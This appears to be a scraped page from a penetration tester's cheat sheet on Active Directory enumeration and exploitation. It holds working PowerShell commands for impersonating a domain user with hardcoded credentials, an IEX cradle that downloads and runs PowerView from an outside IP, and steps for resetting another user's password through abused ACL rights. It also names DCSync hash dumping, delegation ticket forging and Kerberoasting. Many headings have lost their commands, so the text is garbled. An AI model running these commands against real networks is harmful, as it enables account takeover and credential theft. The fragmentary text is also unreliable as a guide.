Domain Enumeration + Exploitation
PowerSploit
Impersonate Another Domain User
$cred = New-Object System.Management.Automation.PSCredential "BURMAT\John.Smith", $(ConvertTo-SecureString "Spring2020!" -AsPlainText -Force);
Find-DomainShare -ComputerName fs01.burmat.local -Credential $cred -ComputerDomain burmat.local -CheckShareAccess
Invoke-UserImpersonation -Credential $cred
# now we can read the directory impersonating another user if permissions exist:
dir \\fs01.burmat.local\Private```
### Enumerate GPO's
```powershell
"{7EA15487-7F5B-4CE3-C029-CEBE6FFE6D47}" | Get-DomainGPOReset Domain User Password
If you own the owner of another AD user object (WriteOwner, WriteDACL, GenericWrite, Owner, etc), you can reset the password with ease:
IEX(New-Object Net.WebClient).downloadString('http://10.10.10.123/ps/PowerView.ps1')
$user = 'DOMAIN\owner_acct';
$pass= ConvertTo-SecureString 'Password123!' -AsPlainText -Force;
$creds = New-Object System.Management.Automation.PSCredential $user, $pass;
$newpass = ConvertTo-SecureString 'burmatw@sh3r3' -AsPlainText -Force;
Set-DomainUserPassword -Identity 'DOMAIN\vuln_user' -AccountPassword $newpass -Credential $creds;Or if you can set yourself as owner, the following will do:
Or you can do it using Impacket's "smbpasswd.py", as shown below.
Add/Exploit DCSync Rights
Do you have WriteDACL to a domain? Give DCSync rights to an unprivileged domain user account:
And use these rights to dump the hashes from the domain:
Impacket
Thanks to the impacket toolset, exploiting misconfigurations in AD environments is made easier.
Kerberos
Brute Usernames with Nmap
GenericWrite to Host + User SPN = PWN
If we have GenericWrite privileges over a host and we are a user that has an SPN, we can write our SID to the msDS-AllowedToActOnBehalfOfOtherIdentity property against the AD object and forge tickets as anyone we like. You can read more about it here: https://alsid.com/company/news/kerberos-resource-based-constrained-delegation-new-control-path
Setting an SPN
With setspn.exe:
ActiveDirectory module:
Listing SPNs
Using ldifde
Using the PowerShell Module ActiveDirectory
With DirectorySearcher
Using ldapsearch
https://burmat.gitbook.io/security/hacking/domain-exploitation#ldap-enumeration
Creating a Keytab
Kerberoasting:
Rubeus
PowerView
Miscellaneous
Last updated